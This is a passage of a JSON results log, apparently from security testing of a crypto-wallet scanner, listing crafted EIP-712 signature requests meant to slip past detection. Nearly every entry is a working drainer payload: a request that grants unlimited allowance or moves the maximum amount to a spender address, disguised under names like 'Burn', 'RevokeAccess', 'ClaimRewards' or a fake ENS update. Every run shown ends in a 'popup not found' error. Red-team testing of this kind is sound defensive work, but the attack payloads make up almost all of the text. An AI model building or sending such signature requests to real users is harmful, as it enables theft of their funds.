Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T18:27:05.221Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T18:27:14.777Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T18:27:24.327Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T18:27:33.884Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T18:27:43.447Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T18:27:53.006Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T18:28:02.565Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN46-EIP3009-022", "timestamp": "2026-01-31T18:28:12.124Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xa4d7026815a9c6d9521e2c8a77d3a33a5f9d23c1f1d10173a563b46e9ce9aa38\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN46-EIP3009-054", "timestamp": "2026-01-31T18:28:21.671Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xbfed3a822ff284d763c58a7f7b55a00133b4cfd92928de31e1508894e5f5027d\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T18:28:31.229Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T18:28:40.779Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T18:28:50.335Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T18:28:59.877Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T18:29:09.429Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T18:29:18.985Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T18:29:28.541Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T18:29:38.092Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T18:29:47.649Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T18:29:57.189Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 